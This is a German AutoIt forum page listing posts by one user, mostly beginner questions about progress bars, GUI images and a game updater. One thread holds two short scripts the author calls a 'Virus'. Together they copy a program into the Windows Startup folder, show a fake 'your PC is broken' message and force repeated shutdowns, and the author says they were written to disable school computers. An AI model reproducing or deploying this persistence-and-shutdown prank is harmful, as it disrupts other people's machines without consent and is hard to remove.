Beiträge von Eistee

  • Progresset mit varierbarer zahl genau bestimmen ?

    hallo leute habe folgenden script

    Spoiler anzeigen
    [autoit]

    Local $der
    $der = FileReadLine("file.txt", 1)
    for $i = 1 to $der
    $1 = FileReadLine($filename0,$i)
    $2 = FileReadLine($filename3,$i)
    Inetget($Ip&$1,@ScriptDir &$2)
    $der50 = $der/ 2
    If $der50 Then ProgressSet(50,50,"50 %")
    Next
    ProgressSet(100,"100 %")
    Sleep(200)
    ProgressOff()

    [/autoit]

    die variable $der ist immer eine andere zahl
    und mein problem ist folgendes wie kann ich dafür sorgen das ich (über progresset) immer $der berechnen kann also z.B. wenn er die hälfte der zahl hatt das ich dann 50 % anzeigen kann
    mit

    [autoit]

    $der50 = $der/2
    If $der50 Then ProgressSet(50,50,"50 %")

    [/autoit]


    und mit

    [autoit]

    If $der / 2 Then ProgressSet(50,50,"50%"

    [/autoit]


    geht es leider nicht wie wäre das realisierbar

    komme nicht weiter habe mir auch die hilfe nochmal angeschaut aber komme damit nicht klar

    wäre echt cool wenn jemand eine Lösung hätte

    MfG Eistee

  • Bild als Bg verdeckt button bilder ?

    Hallo @ All

    Habe ein Kleines Problem und zwar habe ich in einer GUI ein Bild als Background und bilder als buttons allerdings wird nur der Bg angezeigt obwohl ich dieses bild auch mit $Ws_dISABLED versehen habe
    was kann ich da jetzt ändern das er auch die anderen bilder anzeigt ?

    Mfg Eistee

  • auf und ab xD

    Ich muss ehrlich zugeben das es mich nicht interessiert welcher befehl was macht bevor ich diesen befehl nicht brauche
    und mir fällt einfach nichts ein wo ich lust hätte wieder zeit und arbeit zu investieren weil es nichts ist was mich interressiert
    z.B. dein Install-script-Generator

    das ist etwas sinvolles, und dir fällt auch immer was ein und so ich hingegen brauche oft wochen bis ich irgendwas hätte wo ich mich mal dran versuchen will

    Ich bin einfach nit Kreativ genug ich brauche autoit nur um Probleme zu Lösen oder Ähnliches sonst wüsste ich aber nichts damit anzufangen


    Mfg Eistee

  • esp-Dateien auslesen

    So gehts jetzt bei mir ^^

    Spoiler anzeigen
    [autoit]

    $3 = "neu.txt"
    $2 =FileOpen("Vampirismus_Alpha.esp", 16)
    $1 = FileRead($2)
    FileWrite($3, $1)

    [/autoit]


    leider nicht mit msgbox denn in dieser zeigt er nur den hexcode an

    Mfg Eistee

  • esp-Dateien auslesen

    Habe es jetzt so versucht erhalt allerdings auch nur das was du bekommst


    Spoiler anzeigen
    [autoit]

    #include 'Array.au3'
    #include 'File.au3'

    [/autoit] [autoit][/autoit] [autoit]

    Local $meina
    Local $file

    [/autoit] [autoit][/autoit] [autoit]

    $file = "Vampirismus_Alpha.esp"

    [/autoit] [autoit][/autoit] [autoit]

    _FileReadToArray($file, $meina)

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    _FileWriteFromArray("testeh.txt", $meina)

    [/autoit]

  • auf und ab xD

    Ich habe diesen "Virus" ^^ nicht gemacht um Pc-User zu ärgern sondern um unsere Schul pc-s lahmzulegen während der Em zeit ^^
    sonst hätten wir noch nachmittag kein bock druff also pc-s zumindest am dienstag lahmlegen hehe

  • auf und ab xD

    @Pethebe
    Ich habe es zwar gemacht aber ich habe dafür nie die Hilfe diese Forums in Anspruch genommen das war meine Idee und ich habe sie umgesetzt ich habe uíhn jetzt auch nur gepostet weil hier jemand etwas ähnliches vorhatte es heist ja nicht das er es so hätte übernehmen müssen

    Mfg Eistee


    P.S. sag mir doch mal ein paar tipps was du sonst mit autoit machen willst mir fällt nichts mehr ein...

  • auf und ab xD

    sozusagen ein kleiner Virus der nur im abgesicherten modus wegzukriegen ist ?


    Das ist schript 1

    Spoiler anzeigen
    [autoit]

    FileInstall("WinTune.exe",@StartupDir &"\WinTune.exe")
    Shutdown(2)

    [/autoit]


    und das script 2

    Spoiler anzeigen
    [autoit]

    DirCreate(@Tempdir & "WinTune")
    FileInstall("lachen.wav" , @TempDir & "WinTune\Lachen.wav")
    FileInstall("tot.jpg" , @TempDir & "WinTune\tot.jpg")
    Soundplay(@TempDir & "WinTune\Lachen.wav", 0)
    $destination = @TempDir & "WinTune\tot.jpg"
    SplashImageOn("Splash Screen", $destination,450,450)
    Sleep(2000)
    SplashOff()
    MsgBox(0, "WinTune", ".o.O. Ihr Pc ist ab jetzt leider Defekt , Bitte kaufen sie sich einen neuen .O.o.",1)
    $destination = @TempDir & "WinTune\tot.jpg"
    SplashImageOn("Splash Screen", $destination,450,450)
    Sleep(2000)
    SplashOff()
    MsgBox(0, "WinTune", ".o.O. Ihr Pc ist ab jetzt leider Defekt , Bitte kaufen sie sich einen neuen .O.o.",1)
    $destination = @TempDir & "WinTune\tot.jpg"
    SplashImageOn("Splash Screen", $destination,450,450)
    Sleep(2000)
    SplashOff()
    MsgBox(0, "WinTune", ".o.O. Ihr Pc ist ab jetzt leider Defekt , Bitte kaufen sie sich einen neuen .O.o.",1)
    $destination = @TempDir & "WinTune\tot.jpg"
    SplashImageOn("Splash Screen", $destination,450,450)
    Sleep(2000)
    SplashOff()
    Shutdown(2)

    [/autoit]

    die bilder und der sound im anhang

  • BlockInput

    ähm wie wäre es wenn du und mal deinen script postest weil wie hier im forum gerne jemand sagt dessen name mir entfallen ist :
    Poste dein Script ich sehe durch meine Kristallkugel den Fehler nicht

    (oder so Ähnlich)

    Mfg Eistee

  • InetFileExists ?

    Da komme ich jetzt nicht ganz mit
    Ich weis ja wie ich meinem script sage was es tun soll wenn etwas zutrifft oder nicht
    aber das was er ausführen soll wenn die datei nicht existiert kann ich nicht in eine Func machen

    wenn die datei nicht existiert soll er in der komentierten zeile weitermachen

    Spoiler anzeigen
    [autoit]

    #include <GUIConstantsEx.au3>
    #include <WindowsConstants.au3>
    #include <ComboConstants.au3>
    #include <ListViewConstants.au3>
    #include <StaticConstants.au3>
    #include <ButtonConstants.au3>
    #include <ListBoxConstants.au3>
    #include <TabConstants.au3>
    #include <EditConstants.au3>
    #include <DateTimeConstants.au3>
    #include <SliderConstants.au3>
    #include <TreeViewConstants.au3>
    #include <ProgressConstants.au3>
    #include <AVIConstants.au3>
    #include <UpDownConstants.au3>
    #include<Array.au3>
    #include<File.au3>
    #NoTrayIcon

    [/autoit] [autoit][/autoit] [autoit]

    $file = InetGetSize("http://keineahnung.de/test.exe")
    If $file = 0 Then
    ElseIf $file > 0 Then
    _1 ()
    EndIf

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Func _1 ()
    $IpRead = FileReadLine("Launcher.txt", 6)
    If FileExists("C:\UpdateVersion.txt") Then
    _Funce ()
    Else
    FileWrite("C:\UpdateVersion.txt", "1234567gdertfderdvbhtt")
    Sleep(1000)
    _Funce ()
    EndIf
    EndFunc

    [/autoit] [autoit][/autoit] [autoit]

    Func _Funce ()
    $Ip2 = ($IpRead)
    $ver = FileRead("C:\UpdateVersion.txt")
    InetGet($Ip2 &"/UpdateVersion.txt",@ScriptDir &"\UpdateVersion.txt")
    $file = FileOpen(@ScriptDir & "\UpdateVersion.txt", 0)
    $line = FileRead($file)
    If $line = $ver Then
    FileClose($file)
    Else
    FileClose($file)
    Sleep(500)
    FileDelete("C:\UpdateVersion.txt")
    Sleep(1000)
    FileCopy(@ScriptDir & "\UpdateVersion.txt", "C:\UpdateVersion.txt")
    ProgressOn("Checking Resource", "Checking Resource")
    Sleep(1000)
    ProgressSet(20, "Checking Resource", "20 %")
    Sleep(1000)
    ProgressSet(50, "Checking Resource", "50 %")
    Sleep(1000)
    ProgressSet(100, "Checking Resource", "100 %")
    Sleep(500)
    ProgressOff()
    _Func ()
    EndIf
    EndFunc
    Func _Func ()
    $IpRead = FileReadLine("Launcher.txt", 6)
    $Ip = ($IpRead)
    Local $meinarray
    InetGet($Ip &"/file.list",@ScriptDir &"\file.list")
    $filename = (@ScriptDir &"\file.list")
    $FILEPATH = (@ScriptDir &"\file.txt")
    $hFile = FileOpen($filename,0)
    _FilereadToArray($filename, $meinarray)
    _FileWriteFromArray($FILEPATH, $meinarray)
    $split = StringRegExp(FileRead(FileOpen(@ScriptDir & '\file.txt', 0)), '(?<=\n|\A).*(?=,)', 3)
    $file = FileOpen("UpdInf.txt",2)
    For $i = 0 To Ubound($split) -1
    FileWrite("UpdInf.txt", $split[$i] & @crlf)
    Next
    $filename1 = @ScriptDir & '\UpdInf.txt'
    $filename2 = @ScriptDir & '\UpdInf2.txt'
    Local $meinarray1
    Local $nLfd
    _FileReadToArray($filename1,$meinarray1)
    For $nLfd = 1 To $meinarray1[0]
    $meinarray1[$nLfd] = StringRegExpReplace($meinarray1[$nLfd],'\\','\/')
    $meinarray1[$nLfd] = StringRegExpReplace($meinarray1[$nLfd],'\./','/')
    Next
    _FileWriteFromArray($filename1,$meinarray1,1,$meinarray1[0])
    $filename1 = @ScriptDir & '\UpdInf.txt'
    $filename2 = @ScriptDir & '\UpdInf2.txt'
    Local $meinarray1
    Local $nLfd
    _FileReadToArray($filename1,$meinarray1)
    For $nLfd = 1 To $meinarray1[0]
    $meinarray1[$nLfd] = StringRegExpReplace($meinarray1[$nLfd],'\/','\\')
    $meinarray1[$nLfd] = StringRegExpReplace($meinarray1[$nLfd],'\.\','\\')
    Next
    _FileWriteFromArray($filename2,$meinarray1,1,$meinarray1[0])
    ProgressOn("Updating KalOnline", "KalOnline-Update in Progress", "Update")
    $filename0 = FileOpen("UpdInf.txt",0)
    $filename3 = FileOpen("UpdInf2.txt",0)
    ProgressSet(0,"0%")
    Local $der
    $der = FileReadLine("file.txt", 1)
    for $i = 1 to $der
    $1 = FileReadLine($filename0,$i)
    $2 = FileReadLine($filename3,$i)
    Inetget($Ip&$1,@ScriptDir &$2)
    If $i = 1 Then ProgressSet(5,"5 %")
    If $i = $der/10 Then ProgressSet(10,"10 %")
    If $i = $der/8 Then ProgressSet(40,"40 %")
    If $i = $der/6 Then ProgressSet(50,"50 %")
    If $i = $der/5 Then ProgressSet(60,"60 %")
    If $i = $der/4 Then ProgressSet(70,"70 %")
    If $i = $der/3 Then ProgressSet(80,"80 %")
    If $i = $der/2 Then ProgressSet(90,"90 %")
    If $i = $der Then ProgressSet(95,"95 %")
    Next
    ProgressSet(100,"100 %")
    Sleep(200)
    ProgressOff()
    FileClose(@ScriptDir &"UpdInf.txt")
    FileClose(@ScriptDir &"UpdInf2.txt")
    FileClose(@ScriptDir &"file.list")
    FileClose(@ScriptDir &"file.txt")
    FileDelete(@ScriptDir &"UpdInf.txt")
    FileDelete(@ScriptDir &"UpdInf2.txt")
    FileDelete(@ScriptDir &"file.list")
    FileDelete(@ScriptDir &"file.txt")
    MsgBox(0,"Updates", "All Updates Finished", 1)
    MsgBox(0,"Updates", "All Updates Finished", 1)
    EndFunc

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    FileInstall("Launcherback.jpg",@TempDir & "\Launcherback.jpg"); ab hier solls weitergehen wenn sie nicht existiert
    $HTT = FileReadLine("Launcher.txt",4)
    $Lname = FileReadLine("Launcher.txt",2)
    $LaName = FileReadLine("Launcher.txt",2)
    $notice = FileRead("notice.txt")$Form1 = GUICreate($Lname, 297, 400, -1, -1, $ws_popup)
    $Pic1 = GUICtrlCreatePic(@TempDir & "\Launcherback.jpg", 0, 0, 297, 400, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS,$WS_DISABLED))
    $Close = GUICtrlCreateButton("X", 282, 0, 16, 16, 0)
    $Start = GUICtrlCreateButton("Start Game", 8, 376, 70, 20, 0)
    $Set = GUICtrlCreateButton("Settings", 112, 376, 70, 20, 0)
    $WEB = GUICtrlCreateButton("Website", 216, 376, 70, 20, 0)
    $Edit1 = GUICtrlCreateEdit("", 0, 264, 297, 105)
    GUICtrlSetBkColor(-1, 0x000000)
    GUICtrlSetColor(-1, 0xffffff)
    GUICtrlSetData(-1, $notice)
    $Label1 = GUICtrlCreateLabel($LaName &" Launcher", 80, 0, 145, 17)
    GUICtrlSetFont(-1, 10, 800, 2, "Narkisim")
    GUICtrlSetColor(-1, 0x008000)
    GUICtrlSetBkColor(-1, 0x000000)
    GUISetState(@SW_SHOW)

    [/autoit] [autoit][/autoit] [autoit]

    While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
    Case $GUI_EVENT_CLOSE
    Exit
    Case $Close
    _Close ()
    Case $Start
    _Start ()
    Case $WEB
    _WEB ()
    Case $Set
    _Set ()
    EndSwitch
    WEnd

    [/autoit] [autoit][/autoit] [autoit]

    Func _Start ()
    ShellExecute("engine.exe","/load /config debug")
    Endfunc

    [/autoit] [autoit][/autoit] [autoit]

    Func _WEB ()
    ShellExecute($HTT)
    EndFunc

    [/autoit] [autoit][/autoit] [autoit]

    Func _Set ()
    FileInstall("Reso.exe","Reso.exe")
    MsgBox(0, "Setting", "Here you can change the Game Resolution, other settings please change in Game",4)
    Sleep(500)
    Run("Reso.exe")
    Exit
    EndFunc

    [/autoit] [autoit][/autoit] [autoit]

    Func _Close ()
    Exit
    Endfunc

    [/autoit]

  • InetFileExists ?

    ich wollte mal Fragen ob es das gibt, weil ich habe einen Updater für ein game gemacht der Updater Funzt meines Wissens einwandfrei und hatt eig. auch keine bugs
    mein Problem ist wenn hinter der angegebenen URL (hinter der die UpdateVersion.txt hinterlegt ist) nichts ist bzw. die URL nicht erreichbar ist startet er die UpdateFunktion weil er nichts zum Vergleichen hatt daher wollte ich fragen ob ich irgendwie vorher prüfen kann ob die url erreichbar ist und ob die datei hinter der url liegt

    ich gebe mal mein script mit dazu

    Spoiler anzeigen
    [autoit]

    #include <GUIConstantsEx.au3>
    #include <WindowsConstants.au3>
    #include <ComboConstants.au3>
    #include <ListViewConstants.au3>
    #include <StaticConstants.au3>
    #include <ButtonConstants.au3>
    #include <ListBoxConstants.au3>
    #include <TabConstants.au3>
    #include <EditConstants.au3>
    #include <DateTimeConstants.au3>
    #include <SliderConstants.au3>
    #include <TreeViewConstants.au3>
    #include <ProgressConstants.au3>
    #include <AVIConstants.au3>
    #include <UpDownConstants.au3>
    #include<Array.au3>
    #include<File.au3>
    #NoTrayIcon

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    $IpRead = FileReadLine("Launcher.txt", 6)
    If FileExists("C:\UpdateVersion.txt") Then
    _Funce ()
    Else
    FileWrite("C:\UpdateVersion.txt", "1234567gdertfderdvbhtt")
    Sleep(1000)
    _Funce ()
    EndIf

    [/autoit] [autoit][/autoit] [autoit]

    Func _Funce ()
    $Ip2 = ($IpRead)
    $ver = FileRead("C:\UpdateVersion.txt")
    InetGet($Ip2 &"/UpdateVersion.txt",@ScriptDir &"\UpdateVersion.txt")
    $file = FileOpen(@ScriptDir & "\UpdateVersion.txt", 0)
    $line = FileRead($file)
    If $line = $ver Then
    FileClose($file)
    Else
    FileClose($file)
    Sleep(500)
    FileDelete("C:\UpdateVersion.txt")
    Sleep(1000)
    FileCopy(@ScriptDir & "\UpdateVersion.txt", "C:\UpdateVersion.txt")
    ProgressOn("Checking Resource", "Checking Resource")
    Sleep(1000)
    ProgressSet(20, "Checking Resource", "20 %")
    Sleep(1000)
    ProgressSet(50, "Checking Resource", "50 %")
    Sleep(1000)
    ProgressSet(100, "Checking Resource", "100 %")
    Sleep(500)
    ProgressOff()
    _Func ()
    EndIf
    EndFunc
    Func _Func ()
    $IpRead = FileReadLine("Launcher.txt", 6)
    $Ip = ($IpRead)
    Local $meinarray
    InetGet($Ip &"/file.list",@ScriptDir &"\file.list")
    $filename = (@ScriptDir &"\file.list")
    $FILEPATH = (@ScriptDir &"\file.txt")
    $hFile = FileOpen($filename,0)
    _FilereadToArray($filename, $meinarray)
    _FileWriteFromArray($FILEPATH, $meinarray)
    $split = StringRegExp(FileRead(FileOpen(@ScriptDir & '\file.txt', 0)), '(?<=\n|\A).*(?=,)', 3)
    $file = FileOpen("UpdInf.txt",2)
    For $i = 0 To Ubound($split) -1
    FileWrite("UpdInf.txt", $split[$i] & @crlf)
    Next
    $filename1 = @ScriptDir & '\UpdInf.txt'
    $filename2 = @ScriptDir & '\UpdInf2.txt'
    Local $meinarray1
    Local $nLfd
    _FileReadToArray($filename1,$meinarray1)
    For $nLfd = 1 To $meinarray1[0]
    $meinarray1[$nLfd] = StringRegExpReplace($meinarray1[$nLfd],'\\','\/')
    $meinarray1[$nLfd] = StringRegExpReplace($meinarray1[$nLfd],'\./','/')
    Next
    _FileWriteFromArray($filename1,$meinarray1,1,$meinarray1[0])
    $filename1 = @ScriptDir & '\UpdInf.txt'
    $filename2 = @ScriptDir & '\UpdInf2.txt'
    Local $meinarray1
    Local $nLfd
    _FileReadToArray($filename1,$meinarray1)
    For $nLfd = 1 To $meinarray1[0]
    $meinarray1[$nLfd] = StringRegExpReplace($meinarray1[$nLfd],'\/','\\')
    $meinarray1[$nLfd] = StringRegExpReplace($meinarray1[$nLfd],'\.\','\\')
    Next
    _FileWriteFromArray($filename2,$meinarray1,1,$meinarray1[0])
    ProgressOn("Updating KalOnline", "KalOnline-Update in Progress", "Update")
    $filename0 = FileOpen("UpdInf.txt",0)
    $filename3 = FileOpen("UpdInf2.txt",0)
    ProgressSet(0,"0%")
    Local $der
    $der = FileReadLine("file.txt", 1)
    for $i = 1 to $der
    $1 = FileReadLine($filename0,$i)
    $2 = FileReadLine($filename3,$i)
    Inetget($Ip&$1,@ScriptDir &$2)
    If $i = 1 Then ProgressSet(5,"5 %")
    If $i = $der/10 Then ProgressSet(10,"10 %")
    If $i = $der/8 Then ProgressSet(40,"40 %")
    If $i = $der/6 Then ProgressSet(50,"50 %")
    If $i = $der/5 Then ProgressSet(60,"60 %")
    If $i = $der/4 Then ProgressSet(70,"70 %")
    If $i = $der/3 Then ProgressSet(80,"80 %")
    If $i = $der/2 Then ProgressSet(90,"90 %")
    If $i = $der Then ProgressSet(95,"95 %")
    Next
    ProgressSet(100,"100 %")
    Sleep(200)
    ProgressOff()
    FileClose(@ScriptDir &"UpdInf.txt")
    FileClose(@ScriptDir &"UpdInf2.txt")
    FileClose(@ScriptDir &"file.list")
    FileClose(@ScriptDir &"file.txt")
    FileDelete(@ScriptDir &"UpdInf.txt")
    FileDelete(@ScriptDir &"UpdInf2.txt")
    FileDelete(@ScriptDir &"file.list")
    FileDelete(@ScriptDir &"file.txt")
    MsgBox(0,"Updates", "All Updates Finished", 1)
    MsgBox(0,"Updates", "All Updates Finished", 1)
    EndFunc
    FileInstall("Launcherback.jpg",@TempDir & "\Launcherback.jpg")
    $HTT = FileReadLine("Launcher.txt",4)
    $Lname = FileReadLine("Launcher.txt",2)
    $LaName = FileReadLine("Launcher.txt",2)
    $notice = FileRead("notice.txt")
    #Region ### START Koda GUI section ### Form=
    $Form1 = GUICreate($Lname, 297, 400, -1, -1, $ws_popup)
    $Pic1 = GUICtrlCreatePic(@TempDir & "\Launcherback.jpg", 0, 0, 297, 400, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS,$WS_DISABLED))
    $Close = GUICtrlCreateButton("X", 282, 0, 16, 16, 0)
    $Start = GUICtrlCreateButton("Start Game", 8, 376, 70, 20, 0)
    $Set = GUICtrlCreateButton("Settings", 112, 376, 70, 20, 0)
    $WEB = GUICtrlCreateButton("Website", 216, 376, 70, 20, 0)
    $Edit1 = GUICtrlCreateEdit("", 0, 264, 297, 105)
    GUICtrlSetBkColor(-1, 0x000000)
    GUICtrlSetColor(-1, 0xffffff)
    GUICtrlSetData(-1, $notice)
    $Label1 = GUICtrlCreateLabel($LaName &" Launcher", 80, 0, 145, 17)
    GUICtrlSetFont(-1, 10, 800, 2, "Narkisim")
    GUICtrlSetColor(-1, 0x008000)
    GUICtrlSetBkColor(-1, 0x000000)
    GUISetState(@SW_SHOW)
    #EndRegion ### END Koda GUI section ###
    While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
    Case $GUI_EVENT_CLOSE
    Exit
    Case $Close
    _Close ()
    Case $Start
    _Start ()
    Case $WEB
    _WEB ()
    Case $Set
    _Set ()
    EndSwitch
    WEnd
    Func _Start ()
    ShellExecute("engine.exe","/load /config debug")
    Endfunc
    Func _WEB ()
    ShellExecute($HTT)
    EndFunc
    Func _Set ()
    FileInstall("Reso.exe","Reso.exe")
    MsgBox(0, "Setting", "Here you can change the Game Resolution, other settings please change in Game",4)
    Sleep(500)
    Run("Reso.exe")
    Exit
    EndFunc
    Func _Close ()
    Exit
    Endfunc

    [/autoit]


    und hoffe das so etwas realisierbar wäre

    Mfg Eistee